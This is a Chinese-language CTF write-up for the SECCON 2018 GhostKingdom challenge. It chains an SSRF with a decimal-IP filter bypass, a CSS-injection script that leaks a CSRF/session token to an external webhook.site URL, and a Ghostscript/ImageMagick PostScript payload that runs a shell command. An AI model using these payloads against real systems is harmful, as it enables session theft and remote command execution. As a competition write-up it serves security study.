SECCON 2018 GhostKingdom WriteUp

2018-11-12 8,719

题目信息

image-20181029145850191.png

进入网站后注册用户,登录界面如下:

image-20181029183908839.png


登录的请求为GET型。

http://ghostkingdom.pwn.seccon.jp/?user=rai4over&pass=test123&action=login


登陆后主界面如下:

image-20181029184108182.png
  • Message to admin,用于给管理员发送信息,包含Normal和Emergency模式,普通模式下css参数为空,标签无颜色。


http://ghostkingdom.pwn.seccon.jp/?css=&msg=1111&action=msgadm2

image-20181029232434682.png


在紧急模式下,URL会增加css参数的值,存在CSS注入,并且为base64编码,标签添加CSS样式,标签变红。

http://ghostkingdom.pwn.seccon.jp/?css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9&msg=1111&action=msgadm2

image-20181029233622701.png
image-20181029205521549.png




提交表单页面的的csrf令牌和用户的cookie相同。

image-20181029235554251.png

image-20181029235652408.png

  • Take a screenshot,根据链接进行截屏操作。

  • Upload image,只有本地登录的用户才能使用此功能。


解题思路

首先本地登录账户,激活Upload image,再进一步操作。

Take a screenshot处存在SSRF漏洞,我们可以发送登录请:

http://ghostkingdom.pwn.seccon.jp/?user=rai4over&pass=test123&action=login

并且我们发现能够登陆成功,尝试使用本地登录,发现进行了过滤。

http://127.0.0.1/?user=rai4over&pass=test123&action=login
image-20181029234557840.png

这里我们直接转化IP地址为10进制,成功绕过过滤,激活Upload image功能。

截屏处登陆后,本地账户会话状态会在截屏功能一直维持,我们可以带着状态访问其他页面。

http://2130706433/?user=rai4over&pass=test123&action=login


image-20181029234932995.png

想办法获得这个登陆这个本地账户,也就是获得本地账户的cookie,我们就能轻松使用Upload image功能。

根据csrf令牌等于cookie的条件,并且该页面css参数存在css注入,我们可以在发送信息页面窃取csrf令牌,获得cookie。

脚本如下:

import base64
import string
import urllib

string_list = string.ascii_lowercase + string.digits
css = ""
for x in string_list:
   css += """input[name="csrf"][value^="9bbc0ec46162afe2aaf796{s1}"] {{
background: url(https://webhook.site/6aca0f2a-f21b-4f56-9c12-88f72c4e238a/9bbc0ec46162afe2aaf796{s2});
}}""".format(s1=x, s2=x)

css = urllib.quote(base64.b64encode(css))

URL = "http://2130706433/?msg=11&action=msgadm2&css=" + css
print(URL)


最终获得cookie为9bbc0ec46162afe2aaf796

image-20181029144832804.png


成功登录本地账户

image-20181029144652487.png

进入图片上传模块,上传图片后发现后有转换图片格式的功能

image-20181030001508170.png


ImageMagick命令执行漏洞,设置上传内容,然后转换图片格式即可执行命令。

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%cat /var/www/html/FLAG/FLAGflagF1A8.txt) currentdevice putdeviceprops


image-20181029150514346.png


Flag为SECCON{CSSinjection+GhostScript/ImageMagickRCE}



本文作者:Rai4over

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/80242.html

Tags:
评论  (0)
快来写下你的想法吧!

Rai4over

文章数:30 积分: 625

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号